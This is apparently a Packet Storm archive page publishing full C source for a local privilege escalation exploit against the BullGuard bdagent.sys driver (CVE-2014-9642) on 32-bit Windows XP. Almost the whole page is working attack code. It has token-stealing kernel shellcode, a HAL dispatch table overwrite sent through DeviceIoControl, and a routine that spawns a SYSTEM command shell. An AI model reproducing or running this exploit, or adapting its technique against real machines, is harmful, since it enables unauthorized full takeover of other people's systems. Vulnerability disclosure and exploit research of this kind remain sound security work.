what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

BullGuard 14.1.285.4 Privilege Escalation

BullGuard 14.1.285.4 Privilege Escalation
Posted Feb 5, 2015
Authored by Parvez Anwar

Multiple products from BullGuard suffer from an arbitrary write privilege escalation vulnerability.

tags | exploit, arbitrary
advisories | CVE-2014-9642
SHA-256 | 3de0cd39d56a83e5b7735d91f5d387d24d10f7b541d5b7c3473faf66bf1ae8f2

BullGuard 14.1.285.4 Privilege Escalation

Change Mirror Download
/*

Exploit Title - BullGuard Multiple Products Arbitrary Write Privilege Escalation
Date - 04th February 2015
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.bullguard.com/
Tested Version - 14.1.285.4
Driver Version - 1.0.0.6 - BdAgent.sys
Tested on OS - 32bit Windows XP SP3
OSVDB - http://www.osvdb.org/show/osvdb/114478
CVE ID - CVE-2014-9642
Vendor fix url - http://www.bullguard.com/about/release-notes.aspx
Fixed Version - 15.0.288.1
Fixed driver ver - 1.0.0.7



Note
----
Overwritten HAL dispatch table after exploit

kd> dps nt!HalDispatchTable l c
8054ccb8 00000003
8054ccbc 00340000
8054ccc0 00010000
8054ccc4 0a060002
8054ccc8 ee657645
8054cccc 00000001
8054ccd0 00000001
8054ccd4 867c1bf0
8054ccd8 80613f7b nt!IoSetPartitionInformation
8054ccdc 806141ef nt!IoWritePartitionTable
8054cce0 8052d157 nt!CcHasInactiveViews
8054cce4 804e42d1 nt!ObpTraceDepth+0x19

7 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
DWORD ProfileSource,
PULONG Interval);

typedef void (*FUNCTPTR)();



// Windows XP SP3

#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
0x52, // push edx Save edx on the stack
0x53, // push ebx Save ebx on the stack
0x33,0xc0, // xor eax, eax eax = 0
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
0x8b,0xc8, // mov ecx, eax
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
0x75,0xe8, // jne ----
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
0x5b, // pop ebx Restores ebx
0x5a, // pop edx Restores edx
0xc2,0x08 // ret 8 Away from the kernel
};



BYTE restore_pointers_xp[] = // kd> dps nt!HalDispatchTable
"\xf2\xa3\x6f\x80" // 8054ccbc 806fa3f2 hal!HaliQuerySystemInformation
"\xce\xa3\x6f\x80" // 8054ccc0 806fa3ce hal!HaliSetSystemInformation
"\x0b\x46\x61\x80" // 8054ccc4 8061460b nt!xHalQueryBusSlots
"\x00\x00\x00\x00" // 8054ccc8 00000000
"\x4d\xac\x50\x80" // 8054cccc 8050ac4d nt!HalExamineMBR
"\x89\x6f\x5c\x80" // 8054ccd0 805c6f89 nt!IoAssignDriveLetters
"\xe5\x4a\x5c\x80"; // 8054ccd4 805c4ae5 nt!IoReadPartitionTable



DWORD HalDispatchTableAddress()
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
DWORD HalDispatchTable;
CHAR kFullName[256];
PVOID kBase = NULL;
LPSTR kName;
HMODULE Kernel;
FUNCTPTR Hal;
ULONG len;
NTSTATUS status;


NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}

status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

if (!status)
{
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
return -1;
}

pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

if(pModuleInfo == NULL)
{
printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
return -1;
}

status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);

memset(kFullName, 0x00, sizeof(kFullName));
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
kBase = pModuleInfo->Module[0].Base;

printf("[i] Kernel base name %s\n", kFullName);
kName = strrchr(kFullName, '\\');

Kernel = LoadLibraryA(++kName);

if(Kernel == NULL)
{
printf("[-] Failed to load kernel base\n\n");
return -1;
}

Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");

if(Hal == NULL)
{
printf("[-] Failed to find HalDispatchTable\n\n");
return -1;
}

printf("[i] HalDispatchTable address 0x%08x\n", Hal);
printf("[i] Kernel handle 0x%08x\n", Kernel);
printf("[i] Kernel base address 0x%08x\n", kBase);

HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);

printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);

if(!HalDispatchTable)
{
printf("[-] Failed to calculate HalDispatchTable\n\n");
return -1;
}

return HalDispatchTable;
}


int GetWindowsVersion()
{
int v = 0;
DWORD version = 0, minVersion = 0, majVersion = 0;

version = GetVersion();

minVersion = (DWORD)(HIBYTE(LOWORD(version)));
majVersion = (DWORD)(LOBYTE(LOWORD(version)));

if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;

return v;
}


void spawnShell()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;


ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);

si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;

if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
return;
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}


int main(int argc, char *argv[])
{

_NtQueryIntervalProfile NtQueryIntervalProfile;
LPVOID input[1] = {0};
LPVOID addrtoshell;
HANDLE hDevice;
DWORD dwRetBytes = 0;
DWORD HalDispatchTableTarget;
ULONG time = 0;
unsigned char devhandle[MAX_PATH];


printf("-------------------------------------------------------------------------------\n");
printf(" BullGuard Multiple Products (bdagent.sys) Arbitrary Write EoP Exploit \n");
printf(" Tested on Windows XP SP3 (32bit) \n");
printf("-------------------------------------------------------------------------------\n\n");

if (GetWindowsVersion() == 1)
{
printf("[i] Running Windows XP\n");
}

if (GetWindowsVersion() == 0)
{
printf("[i] Exploit not supported on this OS\n\n");
return -1;
}

sprintf(devhandle, "\\\\.\\%s", "bdagent");

NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");

if (!NtQueryIntervalProfile)
{
printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
return -1;
}

addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if(addrtoshell == NULL)
{
printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
return -1;
}
printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);

memset(addrtoshell, 0x90, BUFSIZE);
memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));

hDevice = CreateFile(devhandle, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
return -1;
}
else
{
printf("[+] Open %s device successful\n", devhandle);
}

HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);

input[0] = addrtoshell; // input buffer contents gets written to our output buffer address

printf("[+] Input buffer contents %08x\n", input[0]);

printf("[~] Press any key to send Exploit . . .\n");
getch();

DeviceIoControl(hDevice, 0x0022405c, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

printf("[+] Buffer sent\n");

printf("[+] Spawning SYSTEM Shell\n");
NtQueryIntervalProfile(2, &time);
spawnShell();

printf("[+] Restoring Hal dispatch table pointers\n\n");

DeviceIoControl(hDevice, 0x0022405c, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

CloseHandle(hDevice);

return 0;
}

Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    6 Files
  • 18
    Aug 18th
    4 Files
  • 19
    Aug 19th
    12 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close